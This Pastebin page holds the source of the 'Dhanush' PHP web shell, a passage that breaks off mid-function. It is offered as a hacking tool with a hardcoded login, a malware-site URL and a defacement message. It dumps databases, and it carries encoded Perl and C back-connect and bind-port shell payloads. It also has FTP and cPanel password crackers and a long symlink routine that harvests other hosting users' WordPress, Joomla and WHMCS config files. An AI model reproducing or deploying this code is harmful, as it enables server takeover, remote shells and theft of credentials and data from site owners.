EddieKidiw

Shell Dhanush Decoder By Eddie Kidiw

Dec 9th, 2015
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 213.23 KB | None | 0 0
  1. <?php
  2. //========================================//
  3. //========+++Dhanush+++==========//
  4. //========================================//
  5. //====+++Coded By Arjun+++===//
  6. //========================================//
  7. //=====+++An Indian Hacker+++=====//
  8. //========================================//
  9.  
  10. // Set Username & Password
  11. $user = "Dhanush";
  12. $pass = "Dhanush";
  13.  
  14. $malsite = "http://fightagent.ru";  // Malware Site
  15.  
  16. $ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // Base64 encoded "You Just Got Hacked !!"
  17. ?>
  18. <?php
  19. @set_magic_quotes_runtime(0);
  20. ob_start();
  21. error_reporting(0);
  22. @set_time_limit(0);
  23. @ini_set('max_execution_time',0);
  24. @ini_set('output_buffering',0);
  25.  
  26. // Dump Database
  27.  
  28. if($_GET["action"] == "dumpDB")
  29. {
  30.     $self=$_SERVER["PHP_SELF"];
  31.     if(isset($_COOKIE['dbserver']))
  32.     {
  33.         $date = date("Y-m-d");
  34.         $dbserver = $_COOKIE["dbserver"];
  35.         $dbuser = $_COOKIE["dbuser"];
  36.         $dbpass = $_COOKIE["dbpass"];
  37.         $dbname = $_GET['dbname'];
  38.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  39.        
  40.         $file = "Dump-$dbname-$date";
  41.        
  42.         $file="Dump-$dbname-$date.sql";
  43.         $fp = fopen($file,"w");
  44.        
  45.         function write($data)
  46.         {
  47.             global $fp;
  48.            
  49.                 fwrite($fp,$data);
  50.            
  51.         }
  52.         mysql_connect ($dbserver, $dbuser, $dbpass);
  53.         mysql_select_db($dbname);
  54.         $tables = mysql_query ("SHOW TABLES");
  55.         while ($i = mysql_fetch_array($tables))
  56.         {
  57.             $i = $i['Tables_in_'.$dbname];
  58.             $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  59.             write($create['Create Table'].";\n\n");
  60.             $sql = mysql_query ("SELECT * FROM ".$i);
  61.             if (mysql_num_rows($sql))
  62.             {
  63.                 while ($row = mysql_fetch_row($sql))
  64.                 {
  65.                     foreach ($row as $j => $k)
  66.                     {
  67.                         $row[$j] = "'".mysql_escape_string($k)."'";
  68.                     }
  69.                     write("INSERT INTO $i VALUES(".implode(",", $row).");");
  70.                 }
  71.             }
  72.         }
  73.        
  74.         fclose ($fp);
  75.        
  76.         header("Content-Disposition: attachment; filename=" . $file);  
  77.         header("Content-Type: application/download");
  78.         header("Content-Length: " . filesize($file));
  79.         flush();
  80.        
  81.         $fp = fopen($file, "r");
  82.         while (!feof($fp))
  83.         {
  84.             echo fread($fp, 65536);
  85.             flush();
  86.         }
  87.         fclose($fp);
  88.     }
  89. }
  90.  
  91. ?>
  92.  
  93. <style type="text/css">
  94. <!--
  95. span.headtitle
  96. {
  97.     color:#000000;
  98.     text-decoration:none;
  99.    
  100. }
  101. div.logindiv
  102. {
  103. background-color:#CCC;
  104. width:50%;
  105. border-radius:7px;
  106. margin-top:150px;
  107. -moz-border-radius:25px;
  108. height:410px;
  109. border: solid 1px
  110. #878787;
  111. border-radius: 13px;
  112. box-shadow: 0px 0px 10px
  113. black;
  114. }
  115. body,td,th {
  116.     color: #000000;
  117.     font-size: 14px;
  118. }
  119. table.pwdtbl
  120. {
  121.     width:95%;
  122.     background-color:#999999;
  123.     -moz-border-radius:25px;
  124.     border-radius:25px;
  125. }
  126. tr.file:hover
  127. {
  128. background-color:#C0C0C0;
  129. }
  130. tr.file
  131. {
  132.     background-color:#999999;
  133.     height:12px;
  134. }
  135. td.myfun
  136. {
  137.   display: inline;
  138.   padding: 1px;
  139.   margin: 5px;
  140.   border: 1px solid #AAA;
  141.   border-radius: 4px;
  142.   -moz-border-radius:4px;
  143.   box-shadow: 0px 0px 2px #000;
  144. }
  145. td.myfun:hover
  146. {
  147.   box-shadow: 0px 0px 2px #FF0;
  148. }
  149. input.but {
  150.     border: 1px solid #787878;
  151.     border-radius: 5px;
  152.     box-shadow: 0px 0px 2px #000 inset;
  153. }
  154. a:link {
  155.     color: #000000;
  156.     text-decoration:none;
  157.     font-weight:600;
  158. }
  159. a:hover {
  160.     color:#666666;
  161.     text-decoration:underline;
  162. }
  163. font.txt
  164. {
  165.     color: #000000;
  166.     text-decoration:none;
  167.     font-size:12px;
  168. }
  169. font.fun
  170. {
  171.     color: #696969;
  172. }
  173. font.wrtperm
  174. {
  175.     color:#000000;
  176. }
  177. font.readperm
  178. {
  179.     color:#000000;
  180. }
  181. font.noperm
  182. {
  183.     color:#000000;
  184. }
  185. input.upld
  186. {
  187.     border: 1px solid #787878;
  188.     box-shadow: 0px 0px 3px #000 inset;
  189.     background-color: #AAA;
  190.     font-family: Courier;
  191.     -moz-border-radius:6px;
  192.     width:400;
  193.     border-radius:6px;
  194. }
  195. input.box
  196. {
  197.     border: 1px solid #787878;
  198.     box-shadow: 0px 0px 3px #000 inset;
  199.     background-color: #AAA;
  200.     font-family: Courier;
  201.     -moz-border-radius:6px;
  202.     width:400;
  203.     border-radius:6px;
  204. }
  205. input.sbox
  206. {
  207.     border: 1px solid #787878;
  208.     box-shadow: 0px 0px 3px #000 inset;
  209.     background-color: #AAA;
  210.     font-family: Courier;
  211.     -moz-border-radius:6px;
  212.     width:180;
  213.     border-radius:6px;
  214. }
  215. select.sbox
  216. {
  217.     border: 1px solid #787878;
  218.     box-shadow: 0px 0px 3px #000 inset;
  219.     background-color: #AAA;
  220.     font-family: Courier;
  221.     -moz-border-radius:6px;
  222.     width:180;
  223.     border-radius:6px;
  224. }
  225. select.box
  226. {
  227.     border: 1px solid #787878;
  228.     box-shadow: 0px 0px 3px #000 inset;
  229.     background-color: #AAA;
  230.     font-family: Courier;
  231.     -moz-border-radius:6px;
  232.     width:400;
  233.     border-radius:6px;
  234. }
  235.  
  236. textarea.box
  237. {
  238.     border: 1px solid #787878;
  239.     margin-top: 10px;
  240.     -moz-border-radius:7px;
  241.     box-shadow: 0px 0px 3px #000 inset;
  242.     background-color: #AAA;
  243. }
  244. textarea:focus
  245. {
  246.   box-shadow: 0px 0px 3px #FF0 inset;
  247. }
  248. body {
  249.     background-color:#C0C0C0;
  250. }
  251. .myphp table
  252. {
  253.     width:100%;
  254.     padding:18px 10px;
  255.     border : 1px solid #1B1B1B;
  256. }
  257. .myphp td
  258. {
  259.     /*background:#111111; */
  260.     color:#000000;
  261.     padding:6px 8px;
  262.     border-bottom:1px solid #222222;
  263.     font-size:14px;
  264. }
  265. .myphp th, th
  266. {
  267.     background:#999999;
  268.    
  269. }
  270. -->
  271. </style>
  272.  
  273. <?php
  274. $back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
  275.  
  276. $backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
  277.  
  278. $zone="vVRtb9owEP6OxH+4ZhFKWkJg6roqEFS0VStaX1ChmybKB8c5wGpiZ7ZZS6vut8+Gjm5V1r18mPLBuedenrvznV9shQslw4TxsECZVSvVCpt6Wwe983cfxq2Jf1etFJJxDc6lNh+/5E77JyhHUFTq5e6c0CsYH0xgSeZCwDgVegJU5FDidCSuYSTgQmEElhZuBcdGkUFnyDRCxpTuQudCwlucEooSTkmO3e+B8IZpc9xXKy6RnyGGdbbNiQHdmVwUYoO1LEbnIi9grTGiKJB7pO50rLfjG+RAWdYYOqRrzTOh0CNW4SYGVZRkRHorIwtOhfRcEjfbLunEbmKOnR2/Wrl7oLFmY5dYYtPJjQjxVwg/iQVQwkGhLZJfKUjQhEOQWGRLH+5ALRKl5aNbHZp1eO1D7DhtuN80cbwzgYFQ2mTGU/ZIum7QQiH0z6JoKOgV6ijqnx6ObDXKyKagp6qgy/HaGyDKXppKiLvgPJ+oUwdrPRBSW+t9k+JACi1WrpoWjg9CAscbvbn2NbczOBuOIORCs+kyzIlS8BumpwF6lGKhI9gOty/lj3P1oD/HKUqU0b/FDY4Jny3IzI6lDhJZSvFGcI1cB6NlYexIUWSMEs0ED2+Cv2Q1oThS6xvBe8Qi6GXsC5ayml2RQW9miCM4Ebcsy0i422iCZ1asMPRJhm04GfYPYa/RbMNHxlNxreB0BK8aLb805JEZoD9plJshn+l5vD48J10vZbzeqFoqcsJ4K34+0GZEa/ahyEWKcWu/JpEoweO9mpn7nOl4iDxd5er/quvHqyQieEiqtLCBJLOcRMBFQAmdlze0FPwfpW2emBWnLVRl5u69l/b3/hs=";
  279.  
  280. $bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
  281.  
  282. $bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
  283.  
  284. if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
  285. {
  286. ?>
  287. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  288. <title>Dhanush : By Arjun</title>
  289. <script type="text/javascript">
  290. checked = false;
  291. function checkedAll ()
  292. {
  293.     if (checked == false){checked = true}else{checked = false}
  294.     for (var i = 0; i < document.getElementById('myform').elements.length; i++)
  295.     {
  296.       document.getElementById('myform').elements[i].checked = checked;
  297.     }
  298. }
  299. </script>
  300.  
  301. <body>
  302. <?php
  303.    
  304.    
  305.     $self=$_SERVER["PHP_SELF"];
  306.     $os = "N/D";
  307.     if(stristr(php_uname(),"Windows"))
  308.     {
  309.             $SEPARATOR = '\\';
  310.             $os = "Windows";
  311.             $directorysperator="\\";
  312.            
  313.     }
  314.     else if(stristr(php_uname(),"Linux"))
  315.     {
  316.             $os = "Linux";
  317.             $directorysperator='/';
  318.            
  319.     }
  320.     function Trail($d,$directsperator)
  321.     {
  322.         $d=explode($directsperator,$d);
  323.         array_pop($d);
  324.         array_pop($d);
  325.         $str=implode($d,$directsperator);
  326.         return $str;
  327.     }
  328.    
  329.     function ftp_check($host,$user,$pass,$timeout)
  330.     {
  331.      $ch = curl_init();
  332.      curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  333.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  334.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  335.      curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  336.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  337.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  338.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  339.      $data = curl_exec($ch);
  340.      if ( curl_errno($ch) == 28 )
  341.      {
  342.      print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  343.      <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  344.      Please Check The Target Hostname .</font></font></b></p>";exit;
  345.      }
  346.      else if ( curl_errno($ch) == 0 )
  347.      {
  348.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  349.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  350.      and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  351.      }
  352.      curl_close($ch);
  353.     }
  354.    
  355.     function cpanel_check($host,$user,$pass,$timeout)
  356.     {
  357.      global $cpanel_port;
  358.      $ch = curl_init();
  359.      //echo "http://$host:".$cpanel_port."<br>";
  360.      curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  361.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  362.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  363.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  364.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  365.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  366.      $data = curl_exec($ch);
  367.      if ( curl_errno($ch) == 28 )
  368.      { print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  369.       <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  370.       Please Check The Target Hostname .</font></font></b></p>";exit;}
  371.       else if ( curl_errno($ch) == 0 ){
  372.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  373.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  374.     and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  375.      }
  376.      curl_close($ch);
  377.     }
  378.    
  379.     function syml($usern,$pdomain)
  380.     {
  381.         symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  382.         symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  383.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  384.         symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  385.         symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  386.         symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  387.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  388.         symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  389.         symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  390.         symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  391.         symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  392.         symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  393.         symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  394.         symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  395.         symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  396.         symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  397.         symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  398.         symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  399.         symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  400.         symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  401.         symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  402.         symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  403.         symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  404.         symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  405.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  406.         symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  407.         symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  408.         symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  409.         symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  410.         symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  411.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  412.         symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  413.         symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  414.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  415.         symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  416.         symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  417.         symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  418.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  419.         symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  420.         symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  421.         symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  422.         symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  423.         symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  424.         symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  425.         symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  426.         symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  427.         symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  428.         symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  429.         symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  430.         symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  431.         symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  432.         symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  433.         symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  434.         symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  435.         symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  436.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  437.         symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  438.         symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  439.         symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  440.         symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  441.         symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  442.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  443.         symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  444.         symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  445.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  446.         symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  447.         symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  448.         symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  449.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  450.         symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  451.         symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  452.         symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  453.         symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  454.         symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  455.         symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  456.         symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  457.         symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  458.         symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  459.         symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  460.         symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  461.         symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  462.         symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  463.         symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  464.         symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  465.         symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  466.         symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  467.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  468.         symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  469.         symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  470.         symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  471.         symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  472.         symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  473.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  474.         symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  475.         symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  476.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  477.         symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  478.         symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  479.         symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  480.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  481.         symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  482.         symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  483.         symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  484.         symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  485.         symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  486.         symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  487.         symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  488.         symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  489.         symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  490.         symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  491.         symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  492.         symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  493.         symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  494.         symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  495.         symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  496.         symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  497.         symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  498.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  499.         symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  500.         symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  501.         symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  502.         symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  503.         symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  504.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  505.         symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  506.         symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  507.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  508.         symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  509.         symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  510.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  511.         symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  512.         symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  513.         symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  514.         symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  515.         symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  516.         symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
